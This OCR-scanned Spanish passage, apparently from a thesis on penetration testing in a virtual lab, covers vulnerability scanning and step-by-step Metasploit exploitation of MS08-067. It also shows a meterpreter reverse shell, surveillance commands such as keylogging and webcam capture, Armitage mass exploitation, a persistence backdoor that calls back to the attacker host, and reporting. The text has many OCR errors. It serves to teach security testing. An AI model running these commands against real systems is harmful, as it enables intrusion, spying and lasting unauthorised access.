ProFTPD versions prior to 1.3.3c¢

Vulnerability Insight
il L - Aninput validation errorwithin the 'mod.site_misc! module can be exoloited to create and delete directories. create svmlinks..and .l

Figura 53. Detalles de vulnerabilidad detectada en metasploitable2 usando OpenVAS

De la informacion obtenida se puede saber por ejemplo que OpenVAS detecté en el

puerto 21/tcp del host con direccion IP 192.168.56.1 se ejecuta la aplicacion ProFTPD
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la cual es propensa a multiples vulnerabilidades. La exitosa explotacidon de esta
vulnerabilidad puede permitir la ejecucién de cddigo arbitrario o causar negacién de
servicio. Como solucién OpenVAS recomienda actualizar a la versién ProFTPD 1.3.3c
o posterior debido a que dicha vulnerabilidad esta presente en versiones anteriores a
la 1.3.3c.

4.3.3 Explotacion

Después de haber descubierto las vulnerabilidades en los activos o red objetivo, es
momento de intentar validarlas y explotarlas. La fase de explotacion, algunas veces
finaliza el proceso de la prueba de intrusion, pero esto depende del duefio, pues
existen situaciones donde se debe ingresar de manera mas profunda en la red
objetivo, con el propésito de expandir el ataque por toda la red y ganar todos los

privilegios posibles.

4.3.3.1 Metasploit Framework

El Metasploit Framework (MSF) es una herramienta de codigo abierto disefiado para
facilitar las pruebas de intrusion. Escrito en el lenguaje de programacion Ruby, utiliza
un enfoque modular para facilitar el desarrollo, prueba y ejecucion de exploits, lo cual
también permite implementar facilmente ataques complejos [22].

La arquitectura de MSF estd dividida en tres grandes categorias: bibliotecas,
interfaces y mddulos [8]. Las bibliotecas son un conjunto de tareas predefinidas,
operaciones y funciones que pueden ser utilizadas por diferentes médulos de
Metasploit, las interfaces (consola, CLI, Web y GUI) basicamente proporcionan la
actividad operacional por parte del usuario a la hora de trabajar con los mddulos
(Exploits, Payloads, Auxiliary modules, Post modules, Encoders, y No operations). Los

mddulos y sus funciones especificas son las siguientes:

e Exploits: Un exploit es un programa que aprovecha una vulnerabilidad
especifica y proporciona al atacante acceso al sistema de destino [26].

También pueden ser vistos como médulos que utilizan payloads.
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e Payloads: Estos son los codigos maliciosos que implementan comandos
inmediatamente después de una explotacion exitosa. Consisten en cédigo
gue se ejecuta de forma remota.

e Auxiliary modules: Estos mddulos son un conjunto de herramientas
desarrolladas para realizar escaneos de red, andlisis de trafico, y otras
tareas que son de ayuda durante las pruebas de intrusion.

e Post modules: Tras un ataque exitoso, estos médulos se ejecutan en los
objetivos comprometidos para recopilar datos utiles y hacer que el atacante
gane mas control y profundice en la red de destino. Estos modulos son
mayormente utilizados en la fase de post explotacion.

e Encoders: Estos modulos codifican el payload de modo que no se pueda
detectar como malware. Estos modulos aseguran que los Payloads lleguen a
su destino.

e No Operations o No Operations Performed (NOPs): Estos modulos se
utilizan para facilitar desbordamientos de bufer durante los ataques.

Estos modulos se utilizan juntos o combinados para llevar a cabo ataques contra

objetivos.

4.3.3.1.1 La consola de Metasploit Framework (MSFCONSOLE)

La consola de Metasploit (msfconsole) es utilizada principalmente para manejar la
base de datos de Metasploit, manejar las sesiones, ademas de configurar y ejecutar
los médulos de Metasploit. Su propdésito esencial es la explotacion. Esta herramienta
permite conectarse al objetivo de tal manera que se puedan ejecutar los exploits
contra éste.

Dado que Metasploit Framework utiliza PostgreSQL como base de datos, ésta debe
ser iniciada en primera instancia, para luego poder iniciar correctamente la consola

de Metasploit Framework mediante la ejecucién de los siguientes comandos:

root@kali:~# service postgresql start
root@kali:~# msfconsole

En la figura 54 se muestra la correcta inicializacién de Metasploit y su consola.
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e e

root@kali:~# méfconsole
[*] Starting the Metasploit Framework console...|

Ww | |

Easy phishing: Set up email templates, landing pages and listeners
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

]
=[ 1454 exploits - 820 auxiliary - 229 post ]
+ -- --=[ 370 payloads - 37 encoders - 8 nops 1
=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

Figura 54. Consola de Metasploit Framework (msfconsole)

A continuacion se muestran los pasos a seguir para la explotaciéon de un sistema de
destino mediante MSF, realizados en un equipo con sistema operativo Windows XP
del laboratorio virtual:

1. Del analisis de vulnerabilidades realizado por Nessus se debe elegir una de las
vulnerabilidades detectadas. De preferencia se deben comenzar a elegir las
vulnerabilidades marcadas como criticas. En este caso se eligio la
vulnerabilidad MS08-067: Microsoft Windows Server Service Crafted RPC
Request Handling Remote Code Execution. En la informacion desplegada por
Nessus dice que esta vulnerabilidad puede permitir a un atacante ejecutar
codigo con privilegios de sistema, también informa que existe un exploit
disponible para esta vulnerabilidad pero que es explotable con las

herramientas de explotacion CANVAS y Core Impact (figura 55).



Hosts > 192.168.56.102 > Vulnerabilities m
MS08-067: Microsoft Windows Server Service Crafted R...

Description

The remote host is vulnerable to a buffer overrun in the 'Server' setvice that may allow an attacker to
execute arbitrary code on the remote host with the 'System’ privileges

Solution

Microscft has released a set of patches for Windows 2000, XP, 2003, Vista and 2008
See Also

httpiditechnet. microsoft.com/en-us/security/bulletin/ms08-067
Qutput

Mo output recordsd.

Port = Hosts

445/ fcp / cifs 192.188.56.102 @
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Plugin Details

Severity: Critical

1D: 34477

Version; $Revision: 1.41 §
Type: local

Family: Windows
Published: 200810523
Modified: 2015/01/13

Risk Information

Risk Factor: Critical

CVSE Base Scorer 10.0

CVSS Vector CVSS2#AV N/ACL/ALIN/C:C
LCIAC

CVSSE Temporal Vector
CVSS2#E:H/RL:OF/RC:C

CVSS Temporal Score: 8.7

LAVIM Severity: |

Vulnerability Information

CPE: cpe/o:microsoft:windows
Exploit Available: true
Exploit Ease: Exploits are available

Exploitable With

CANWVAS (CANVAS)

Core Impact

Figura 55. Descripcion de la vulnerabilidad MS08-067 usando Nessus

2.

El siguiente paso a realizar es buscar en la consola msf, cualquier exploit

perteneciente a la vulnerabilidad anterior mediante el comando search msO08-

067 como se muestra en la figura 56.

msf = search ms@8-067

et i e e o s e

Matching Modules

Name Disclosure Date Rank Dascr
iption
exploit/windows/smb/ms@8 067 netapli 2008-10-28 great M508-

067 Microsoft Server Service Relative Path Stack Corruption

Figura 56. Busqueda del exploit para la vulnerabilidad ms08-067 usando msf console

3.

Una vez encontrado el exploit para la vulnerabilidad indicada, éste debe ser

seleccionado para ser usado mediante el comando wse seguido por el nombre

del exploit como se muestra en la figura 57.
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1

msf = use exploit/windows/smb/msB8 067 netapi
msf exploit(ms08 067 netapi) > [

d

Figura 57. Seleccion del exploit para la vulnerabilidad ms08-067 usando msf console

4. Una vez que se ha cargado el exploit, se necesitan revisar los payloads
disponibles para dicho exploit mediante la instruccion show payloads como se

muestra en la figura 58.

Compatible Payloads

Name Disclosure Da
te Rank Description
generic/custom

normal Custom Payload

generic/debug trap

normal Generic x86 Debug Trap

generic/shell_bind tcp

normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp

normal Generic Command Shell, Reverse TCP Inline
generic/tight_loop

normal Generic x86 Tight Loop
windows/dllinject/bind hidden_ipknock_tcp

normal Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
windows/dllinject/bind hidden_tcp

normal Reflective DLL Injection, Hidden Bind TCP Stager
windows/dllinject/bind ipv6_tcp

normal Reflective DLL Injection, Bind TCP Stager (IPv6)
windows/dllinject/bind nonx_tcp

normal Reflective DLL Injection, Bind TCP Stager (No NX or Win7

Figura 58. Payloads disponibles para el exploit ms08 067 _netapi

5. Para seleccionar uno de los payloads se debe usar el comando set payload
seguido por el nombre del payload (figura 59). Hay una gran cantidad de
payloads disponibles para elegir, que intentar usarlos y explicarlos todos es
una tarea que sale del propdsito del presente trabajo, por lo que sélo se
explica el payload windows/meterpreter/ reverse tcp. Meterpreter es un
payload avanzado multi funcion que provee un shell interactivo [26]. El
meterpreter shell ofrece mas caracteristicas y funcionalidades que un
command shell (simbolo del sistema) regular, las cuales permiten interactuar

con la méquina victima.
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se_tcp
payload == windows/meterpreter/reverse tcp

Figura 59. Seleccién del payload meterpreter/reverse_tcp para Windows

6. Los diferentes payloads requieren opciones adicionales de configuracion. Si se
falla al introducir las opciones requeridas por un payload dado, el exploit
también fallara. Para ver las opciones disponibles se debe usar el comando

show options como se puede apreciar en la figura 60.

Module options (exploit/windows/smb/ms@8 087 netapi) :

MName Current Setting Required Description

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER
|, SRVSYC)

?Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Reqguired Description

EXITFUNC thread yes Exit technique (accepted: se
h, thread, process, none)

LHOST yas The listen address

LPORT 4444 yes The listen port

[Exploit target:

Id Name

€] Automatic Targeting

Figura 60. Opciones de configuracion para el exploit y payload elegidos

7. Después de introducir el comando show options se presenta una serie de
opciones que son especificas del payload que se eligid. Se observa que cuando
se utiliza el payload Windows/meterpreter/reverse tcp se deben establecer
dos opciones necesarias para que el exploit junto con el payload se ejecuten
exitosamente. La primera es RHOST y la segunda es LHOST. RHOST es la

direccion IP del objetivo que se desea explotar (host remoto — Windows XP) y
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LHOST es la direccion IP desde donde se esta lanzando el ataque (host local —
Kali). Para establecer estas opciones se debe utilizar el comando set y
enseguida el nombre de la opcién como se observa en la figura 61.

msf exploit(ms@8_067 netapi) > set RHOST 192.168.56.102

RHOST == 192.168.56.182

msf exploit(ms08 067 netapi) = set I_HOST 182168562

LHOST == 192.168.56.2 R —————

Figura 61. Asignacién de las direcciones IP para RHOST y LHOST

8. Para comprobar que se hayan establecido adecuadamente todas las opciones
de configuracién, se debe ejecutar nuevamente el comando show options

como se muestra en la figura 62.

msf exploit({ms08_067_netapi) = show options_

Module options (exploit/windows/smb/ms08 067 netapi):

Name Current Setting Required Description

RHOST 192.168.56,102 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER
, SRVSVYC)

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (accepted: se
h, thread, process, none)

LHOST 192.168.56.2 yes The listen address

LPORT 4444 yes The listen port

Figura 62. Comprobacién de las opciones de configuracion

9. Una vez que se ha introducido correctamente toda la informacion requerida, se
debe lanzar el exploit hacia la maquina objetivo mediante el comando exploity
presionando la tecla Enter para iniciar el proceso como se muestra en la figura
63.
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s o

[*] Started reverse handler on 192.168.56.2:4444

[*] Automatically detecting the target...
Jopt/metasploit/apps/pro/vendor/bundle/ruby/2.1.0/gems/recog-1.0.27/
lib/recog/fingerprint/regexp factory.rb:33: warning: nested repeat o
perator '+' and '?' was replaced with '*' in regular expression

[*] Fingerprint: Windows XP - Service Pack 2 - lang:Spanish

[*] Selected Target: Windows XP SP2 Spanish (NX)

[*] Attempting to trigger the wulnerability...

[*] Sending stage (BBZ2176 bytes) to 192.168.56.102

meterpreter = I —='::’__':= Explotacion exitosa, maquina comprometida

Figura 63. Lanzamiento y ejecucion del exploit y payload seleccionados

Después de ejecutar el comando Exploit, Metasploit envia el codigo exploit junto con
el payload hacia la maquina objetivo. Como resultado de la exitosa explotacion de la
vulnerabilidad detectada, después de algunos segundos MSF despliega la vista del
meterpreter shell (figura 63) el cual permite al atacante interactuar ampliamente con
la maquina comprometida.

Algunos de los comandos méas importantes disponibles en meterpreter que pueden
ser usados para manipular la maquina comprometida y su informacion son descritos

en la tabla 3.
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Comando Descripcion

download Descarga un archivo o directorio desde el equipo comprometido hacia el
equipo del atacante
upload Carga o sube un archivo desde el equipo del atacante hacia el equipo
comprometido
edit Edita un archivo
mkdir, rmdir Estos comandos sirven para crear y remover directorios respectivamente
search Busca archivos en el equipo comprometido

Keyscan_start

Keyscan_stop

Inicia y detiene la captura del teclado

screenshot

Captura una imagen de pantalla

record_mic

Graba audio del micréfono de la maquina vulnerada por X segundos

webcam_stream

Activa la webcam y transmite video desde la maquina comprometida

webcam_snap

Toma iméagenes instantaneas con la webcam

hashdump

Vuelca el contenido de la base de datos SAM

shell

Abre un command shell (linea de comandos) en el equipo comprometido

Tabla 3. Comandos de meterpreter

Una vez que se logré el acceso al sistema objetivo, se realizé con éxito la ejecucion

de algunos de los comandos listados en la Tabla 3 a través del meterpreter shell. De

esta forma, fue posible interactuar con el equipo comprometido, poniendo en riesgo

la seguridad de sus activos de informacién, como se muestra en la figura 64.

meterpreter > 1s

Listing: c:\

Mode Size Type Last modified Name

100777/ rwxrwxrwx 0 fil 2015-02-05 21:13:04 -06G0 AUTOEXEC.BAT
40555/ r-xr-xr-x 0 dir 2016-03-04 21:52:15 -0600 Archives de progr
ama

100444/r--r--r-- 4952 fil 2002-09-24 07:00:00 -05G0 Bootfont.bin
100666/ rw-rw-rw- 0 fil 2015-02-05 21:13:04 -06C0 CONFIG.SYS

40777/ rwxrwxrwx 0 dir 2015-02-05 21:32:31 -0600 Documents and Set
tings

100444/r--r--r-- 0 fil  2015-02-05 21:13:04 -0600 I0.SYS
100444/r--r--r-- 0 fil  2015-02-05 21:13:04 -0600 MSDOS.SYS

100555/ r-xr-xr-x 47564 fil 2004-08-03 15:38:34 -0500 NTDETECT.COM
40777/ rwxrwxrwx 0 dir 2016-04-08 22:06:32 -0500 RECYCLER

40777/ rwx rwx rwx ¢} dir 2015-02-05 21:16:56 -0600 System Volume Inf

Figura 64. Explotacion con el

meterpreter shell
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4.3.3.2 Armitage

Armitage es una interfaz grafica de usuario para el Metasploit Framework,
desarrollado con el objetivo de facilitar a los profesionales de seguridad el uso de
Metasploit y conseguir también que la fase de explotacibn sea un poco mas
automatizada debido a que Armitage busca, configura y prueba los exploits junto con

los payloads en cada uno de los activos [27].

Para ejecutar la herramienta se debe seleccionar la opcion; Aplicaciones—>Kali

Linux->Herramientas de Explotacion—->Network Exploitation—->Armitage.

Otra forma de iniciar Armitage es mediante la habilitacién de los servicios postgresql,

metasploit y por Gltimo armitage con los siguientes comandos:

root@kali:~# service postgresql start
root@kali:~# service metasploit start
root@kali:~# armitage

Después de introducir los comandos en una terminal, se presenta la pantalla de inicio
de sesiébn como se muestra en la figura 65, en la cual se debe seleccionar el botén

Connect para conectar Armitage con el servidor de Metasploit.

T o [x |
Host fz7.0.0.1
Fart 55553
User msf
Pass bk ik
| Connect | | Help |

Figura 65. Parametros de configuracion para el inicio de Armitage

Enseguida se presenta un cuadro de didlogo el cual pregunta si se desea iniciar

Metasploit. Se debe seleccionar el boton S/ como se muestra en la figura 66.
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Figura 66. Cuadro de didlogo para el inicio del servidor de Metasploit

Start Metasploit?

A Metasploit RPC server is not running or
not accepting connections yet. Would you

like me to start Metasploit's RPC server
for you?

| o | | si|

d
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Después de habilitar Armitage y Metasploit, se debe introducir la direccion IP de la

computadora desde donde se realizaran los ataques (figura 67).

o

Entrada
Could not determine attack computer IP
What is it?
192.168.56.2

| Cancelar | l Aceptar J

Figura 67. Asignacion de la direccion IP de la computadora del pentester

Finalmente se presenta una interfaz de usuario como se muestra en la figura 68.

Armitage
Armitage \iew Hosts Attacks Workspaces Help
e [EF auxiliary
L @ exploit
> (B payload
» ﬁ post

-

]

Console X

Figura 68. Interfaz de usuario de Armitage
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La pantalla principal de Armitage se puede subdividir en dos areas. La mitad superior
se compone de la interfaz grafica de usuario la cual permite interactuar con
Metasploit, mientras que la mitad inferior proporciona acceso a la consola msf o linea
de comandos por cada interaccion (como si se estuviera utilizando la consola en lugar
de una interfaz grafica de usuario). Se pueden usar los dos paneles para interactuar
con el objetivo. A medida que se realizan mas acciones que utilizan la mitad superior
de Armitage, nuevas pestafias o ventanas se abrirdn automaticamente en la mitad
inferior.

Una vez iniciada la interfaz gréfica de usuario, se debe realizar el escaneo de la red
local en busca de activos disponibles. Para realizar un escaneo en Armitage, se debe
seleccionar la opcion Hosts y después en el menu Nmap Scan, enseguida se debe

elegir el tipo de escaneo Quick Scan (OS detect) como se muestra en la figura 69.

Armitage
Armitage Eiewgttacks Workspaces Help

» (& auxiliary | Import Hosts

* (5 exploit Add Hosts...
- payload Nmap Scan Intense Scan
> (&5 post MSF Scans...

Intense Scan + UDP
Intense Scan, all TCP ports
Intense Scan, no ping
Fing Scan

Quick Scan

Quick Scan ([0S detect)

Comprehensive

Figura 69. Seleccion de escaneo rapido usando Armitage

DMS Enumerate

Clear Database

Después de seleccionar el tipo de escaneo a realizar con Nmap, se debe indicar la
direccion IP especifica o el rango IP a ser escaneado, en este caso se escaneo la red
del laboratorio virtual 192.168.56.0/24. Una vez que el escaneo se ha completado, el
sistema muestra los posibles blancos vulnerables que fueron descubiertos,
representados mediante monitores con sus respectivas direcciones IP y sistemas

operativos (figura 70).



100

Armitage Wiew Hosts Attacks Workspaces Help

[ ﬁ auxiliary
* (B exploit
» (5 payload
> [ post

192.168.56. 1 192.168.56. 102

Mensaje

6 Scan Complete!
] Use Attacks-=Find Attacks to suggest

Conscle X | nmap X applicable exploits for your targets,

Nmap: 0S CPE: cpe:/fo ; ;
1 fommicrosoftiwindows Aceptar

Mmap: 0S5 details: Mi

Mmap: Network Distance: op

Mmap: Service Info: 0S: Windows; CPE: cpe:/fo:microsoft:windows

Nmap: Mmap scan report for 192.168.56.2

Mmap: Host is up (0.000080s latency).

[*] Mmap: ALl 100 scanned ports on 192,168.56.2 are closed

[*] Nmap: Too many fingerprints match this host to give specific 0S details

[*] Nmap: Network Distance: 0 hops

[*] Nmap: 0S5 and Service detection performed. Please report any incorrect
results at http://nmap.org/submity/ . .
[*] Nmap: Mmap done: 256 IP addresses (5 hosts up) scanned in 25,54 seconds
msf =

Figura 70. Resultado del escaneo realizado por Nmap usando Armitage

En la figura 70 se puede observar que Nmap detectd dos equipos con direcciones IP
192.168.56.1, 192.168.56.102 vy sistemas operativos Linux y Windows XP

respectivamente.

Enseguida se debe seleccionar la opcion Attacksy después Find Attacks para localizar
los exploits y payloads aplicables a cada uno de los activos descubiertos. Una vez que
Armitage encuentra los exploits y payloads disponibles para cada objetivo, como
siguiente paso se debe seleccionar la opcion Attacksy después Hail Mary. Enseguida
el sistema muestra un cuadro de texto en el cual se debe seleccionar el boton S/

como se muestra en la figura 71.
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Armitage Wiew Hosts Attacks Workspaces Help

» [ auxliary
* (5 exploit
* 5 payload
Ly [ﬁ’ post

Really?!?

Once started, the Hail Mary will launch a flood

exploits at hosts in the current workspace, There

I is nothing stealthy about this action. If clumsily

1 launching hundreds of exploits is what you would
Console X | nmap like to do, press Yes.

[*] Nmap: 0S CPE:

cpe: fo:microsoft: No Si

-

[*]1 Nmap: 0S5 det

Figura 71. Confirmacion para el uso de la opcion Hail Mary

Al seleccionar el boton S/, la opcion Hail Mary hace que Armitage envie cada uno de
los exploits y payloads relacionados contra los objetivos descubiertos por Nmap. La
herramienta ejecuta y emite comandos automaticamente, proceso que toma varios
minutos en ser completado.

Cada objetivo comprometido exitosamente es representado mediante el cambio de
color de los monitores a color rojo rodeado por rayos, mientras que en la parte de
abajo perteneciente a la consola se pueden observar las sesiones activas o shells

ganadas por los exploits y payloads ejecutados, como se muestra en la figura 72.

En la figura 72 se pueden observar los objetivos comprometidos mediante la
basqueda y ejecucion de los exploits y payloads en cada uno de los equipos
descubiertos previamente. También se puede observar en la zona de la consola
algunos de los exploits utilizados para la explotacion de vulnerabilidades y los tipos de
shells o sesiones ganadas en cada equipo como resultado de la exitosa ejecucion del

payload.
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Armitage
Armitage View Hosts Afttacks Workspaces Help
- ﬁ auxiliary
= exploit
* [ payload
» [ﬁ post

192,168.56. 1 - 6
NT AUTHORITY\SYSTEM @ XPVIRTUAL

- -

- [ Console X T nmap X T Hail Mary }{]

Active sessions

Id Type Information
Connection
Via PayloadId

1  shell php
192.168.56,2:35223 -= 192,168.56.1:30791 (192,168.56,1)
exploit/multi/http/php_cgi_arg_injection

2 shell unix

192.168.56,.2:34562 -> 192, 168.56.1:6200 (192.168.56.1)
exploit/unix/ftp/vsftpd 234 backdoor
3 shell unix
168.56.2:20311 -= 192.168.56.1:33440 (192.168.56.1)

Figura 72. Objetivos comprometidos en la fase de explotacién usando Armitage

Después de terminado el proceso, para ver en la interfaz gréafica todas y cada una de
las shells que se obtuvieron, se debe presionar el botdén derecho del mouse sobre el
monitor del objetivo deseado como se muestra en la figura 73. En este punto se
puede interactuar con el objetivo, subir programas y material hacia el objetivo o
llevar a cabo una gran variedad de otros ataques ya sea por medio de la interfaz
grafica de Armitage o mediante el uso de una shell. Para trabajar con una shell y
ejecutar comandos en el destino remoto, se debe seleccionar la opcion /nteract,
opcion que permite escribir y ejecutar comandos desde la ventana de terminal
inferior de Armitage. Todos los comandos introducidos por el atacante son ejecutados
en la maquina remota como si se estuviese trabajando fisicamente en la maquina

objetivo.
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Los comandos que el atacante puede ejecutar difieren de acuerdo al tipo de shel/
seleccionado, por ejemplo si se elige trabajar con una meterpreter shell se pueden
ejecutar los comandos mostrados en la tabla 3, los cuales dan la posibilidad de

manipular el equipo y la informacion que contienen.

Armitage |

Armitage Miew Hosts Attacks Workspaces Help

» (E5 auxiliary
- ﬁ exploit
» (5 payload
> ﬁ post

Shell 3
Shell 2
1 aw Shell 1

[ Console )(T nmap X T Hail Mary | Shell 7
Shell 8
Shell 4
Shell 8
Services
Scan

Interact

Fass Session
Post Modules

1 shell php Disconnect
192.168.56.2:35223 -= 192. 168
exploit/multi/http/php _cgi_ar

2 shell unix Host
192, 168.56,2:34562 -> 192, 168,50, Li02uv 192, 168,56.1)
exploit/unix/ftp/vsftipd_234 backdoor

3  shell unix
192.168.56.2:20311 -= 192,168.56.1:33440 (192.168.56.1)
exploit/multi/samba/usermap script

4 shell unix

192, 168,56, 2: 15436 -> 192, 168.56.1:4 1 (192.168.56.1)
explultfmultlfsamhaIUSermap_sc|1pt

5 metelpleter x86/wi NT AUTHORITY\SYSTEM @ XPVIRTUAL
192.168.56.2: 40634 -= 192,168.56.1 30076 (192.168.56.102)
explultjwlnduwsjsmhjms B8 067 netapi

mst =

Figura 73. MenU de opciones para la interaccion con el objetivo vulnerado

Hasta este punto, la etapa de explotacion realizada con Armitage se ha completado.

4.3.4 Post explotacion o preservacion del acceso

Una vez que el sistema ha sido comprometido y se han explotado sus
vulnerabilidades, es recomendable aplicar mecanismos que permitan mantener el
acceso en caso de ser necesario realizarlo en el futuro. Uno de los mejores
mecanismos para mantener el acceso en el sistema comprometido es la instalacion

de una backdoor.
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De acuerdo a esto, a continuacion se describe el procedimiento realizado para instalar
una backdoor en el sistema comprometido a fin de garantizar el acceso futuro al

equipo.

4.3.4.1 Preservacion del acceso con meterpreter

El Metasploit meterpreter tiene dos diferentes tipos de backdoors llamados metsvc y
persistence los cuales permiten conseguir el meterpreter shell en cualquier
momento. En el presente trabajo se utilizd la backdoor persistence debido a que
ofrece un conjunto de pardmetros de configuracion mas amplio y ofrece una mejor
funcionalidad en comparacién con metsvc.

El script persistence automatiza la creacion de una backdoor en el sistema operativo
Windows, que automaticamente se conecta a un “escucha” de Metasploit.

Es importante tener en cuenta que para poder habilitar la puerta trasera, se debe
tener comprometido el sistema con el meterpreter shell ejecutandose como se realizd
anteriormente en la etapa de explotacion. Para acceder a las opciones de

configuracién del script persistence se debe ejecutar el comando:

meterpreter > run persistence -h

Algunas de las opciones de configuracion son las siguientes:

e -A. Autométicamente inicia un multi/handler el cual sirve para conectarse con
metasploit.

e -P. Payload a usar, por default usa Windows/meterpreter/reverse_tcp.

e -S. Automaticamente inicia el agente sobre el arranque como un servicio (con
privilegios de sistema).

e -U. Automaticamente inicia el agente cuando el usuario inicia sesion.

e -X. Automéaticamente inicia el agente cuando el sistema arranca.

e -i. El intervalo en segundos entre cada intento de conexion.

e -p. El puerto del host remoto donde Metasploit est4 escuchando.

e -r. La IP del sistema ejecutando el escucha de Metasploit.
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Por ejemplo, para instalar la backdoor en el equipo comprometido y que el agente se
ejecute automaticamente al arranque del sistema, se debe ejecutar el comando

mostrado en la figura 74.

meterpreter >EFun persistence -r 192.168.56.2 -p 12345 —f}

[*] Running Persistance Script

[*] Resource file for cleanup created at /root/.msfd4/logs/persistence/XPVIRTUAL
20151121.5616/XPYIRTUAL 20151121.5616.rc

[*] Creating Payload=windows/meterpreter/reverse tcp LHOST=192.168.56.2 LPORT=12
345

[*] Persistent agent script is 148478 bytes long

[+] Persistent Script written to C:\WINDOWS\TEMP\fZuYaTGuhNRA.vbs

[*] Executing script C:\WINDOWSA\TEMP\fTZuYaTGuhNRA.vbs

[+] Agent executed with PID 164

[*] Installing into autorun as HKLM\ASoftwarei\Microsoft\Windows\Current¥ersion\Ru
n% rt GMOWEARUN

[+] Installed into autorun as HKLM\Software\Microsofti\Windows\CurrentVersion\Run|
\rtGMOwEARUN

meterpreter = JJ

Figura 74. Instalacion de backdoor persistence

Lo siguiente a realizar es verificar que efectivamente se pueda acceder nuevamente
en el sistema comprometido y obtener el meterpreter shell mediante la backdoor
instalada.

En este caso para interactuar con la backdoor persistence, se debe usar el modulo
multi/handler en el equipo atacante. Un handler puede ser visto como un servidor
que se ejecuta en Metasploit, su trabajo consiste en esperar a que un payload que se
ejecuta en la maquina comprometida se conecte a Metasploit y se establezca una

sesion [27].

Para configurar el handler se debe especificar el tipo de payload con el que se va
trabajar, también se debe especificar la direccion IP y el puerto de la maquina del
atacante por donde se llevara a cabo la comunicacion.

Para realizar dicha tarea, se debe reiniciar la consola msf y ejecutar los siguientes

comandos.
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msf > use multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > show options

msf exploit(handler) > set LHOST 192.168.56.2

msf exploit(handler) > set LPORT 12345

msf exploit(handler) > exploit

Cuando se ejecuta el comando exploit, se habilita el handler en la maquina del
atacante y enseguida se inicia una sesion directamente entre los dos sistemas, lo que
permite al atacante conseguir nuevamente el meterpreter shell para manipular la

maquina comprometida, dicho proceso se puede observar en la figura 75.

- .|
msf exploit(handler) = exploit

| Started reverse handler on 192.168.56.2:12345

\ Starting the payload handler...

\ Sending stage (8BB2176 bytes) to 1592.188.56.102

\ Meterpreter session 1 opened (192.168.56.2:12345 -> 192.168.5
£5.102:1952) at 2015-11-21 01:09:34 -0600

| Sending stage (8B2176 bytes) to 1592.168.56.102

meterpreter > []

Figura 75. Ejecucion del handler para la preservacion del acceso

4.3.5 Reporte

La fase final de las pruebas de intrusion es la realizacién del reporte de lo que se
realizd y de lo que se detect6é durante la prueba. En un ambiente real, el reporte se
utiliza para informar al cliente acerca de los resultados de una manera entendible y
detallada desde una perspectiva técnica. Segun las vulnerabilidades detectadas, se le
informa acerca de lo que se encuentra configurado y operando correctamente, asi
como lo que necesita ser reconfigurado para mejorar su situacién de seguridad [20].
Se ofrece también un resumen de los procedimientos y herramientas usadas en la
prueba para comprometer los sistemas, el objetivo de cada procedimiento y los
resultados encontrados. Es importante mencionar que el reporte de las pruebas de

intrusidon no incluye informacion sobre procedimientos en particular para solucionar
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los problemas de seguridad detectados, Unicamente recomendaciones generales, las
cuales deberan ser atendidas por el grupo encargado de la administracion de los

sistemas informaticos.

4.3.5.1 Herramientas utiles para la generacion del reporte
En la actualidad, es posible encontrar en las listas de software libre diversas
herramientas para la elaboracion de reportes para pruebas de intrusion. A

continuacion se describen dos de las herramientas mas ampliamente utilizadas.

4.3.5.1.1 Keepnote

Keepnote es una aplicacibn para tomar notas, almacenarlas, organizarlas y
consultarlas facilmente [13]. Esta herramienta puede ser muy util, ya que permite
documentar durante todo el proceso, detalles y aspectos importantes a tomar en
cuenta para realizar el reporte. La interfaz de Keepnote se muestra en la figura 76.

Keepnote se puede encontrar en el menu:

Aplicaciones - Kali Linux-> Herramientas de Reporte - Documentation ->

keppnote.

prueba de intrusién : New Page | - | o | :-:]
File Edit Search Format View Go Tools Window Help
I Title Created time Modified time
= B2 prueba de intrusidr 05:48 05:48 |
1 a 05:48 09:418
» @ Trash 05:48 05:48 |

@ W [>]

laboratorio virtual

192.168.56.102/24

192.168.56.2

Notebook saved 2 pages

d

Figura 76. Interfaz gréfica de la aplicacion keepnote.
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4.3.5.1.2 Nessus

Nessus tiene una opcion para generar reportes a partir de los resultados del analisis
de vulnerabilidades. Para poder generar un reporte en Nessus, se debe elegir en la
seccion My Scans el escaneo realizado durante la fase de escaneo de vulnerabilidades
y después se debe seleccionar el menu Export, a continuacion en la opcion PDFy por
altimo se debe elegir la opcion executive summary para generar un reporte
ejecutivo, el cual contiene las vulnerabilidades detectadas en cada host, en la opcién
custom para generar un reporte mas completo el cual incluya vulnerabilidades y la
posible solucién de las mismas, agrupadas por cada host.

La figura 77 muestra un fragmento del reporte detallado sobre las vulnerabilidades
encontradas en el servidor metasploitable2 asi como la solucion de las mismas

realizado por Nessus.

Scan Information

Start time: Sat Nov 21 20:30:43 2015
End time: Sat Nov 21 20:37:50 2015
Host Information
Nethios Name: METASPLOITABLE
IP: 192.168.56.1
MAC Address: 08:00:27:20:76:c5
08s: Linux Kemel 2.6 on Ubuntu 8.04 (hardy)
Results Summary
Critical High Medium Low Info Total
7 4 6 116 152

Results Details

| 61 TB- VNC Server ‘password’ Password.

Synopsis
A WNC server running on the remote host is secured with a weak password.
Description

The VNC server running on the remote host is secured with a weak password. Nessus was able to login using VNC
authentication and a password of 'password’. A remote, unauthenticated attacker could exploit this to take control of
the system.

Solution
Secure the VNC service with a strong password.
Risk Factor
Critical
CVSS Base Score
10.0 (CVSS2#AVN/ACLIAUNIC CII:CIAC)
Plugin Information:
Publication date: 2012/08/29, Modification date: 2012/08/29

Ports
tcp/5900

Nessus logged in using a password of "password".

Figura 77. Reporte detallado del servidor Metasploitable2 realizado por Nessus
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En el reporte de la figura 77 se puede ver informacion como la fecha y hora en la que
se realiz6 el escaneo de vulnerabilidades. En el campo correspondiente a la
informacion del host se puede ver su nombre Netbios, su direccién IP, la direccion
MAC y su sistema operativo, el reporte contiene un campo de resumen de resultados
en el cual se puede apreciar el nUmero de vulnerabilidades totales y segun su nivel
de severidad (critica, alta, media o baja), entre otra informacion. El reporte también
contiene un campo sobre los detalles de cada vulnerabilidad detectada como la

descripciéon de la vulnerabilidad, su posible solucién, entre otra informacion.

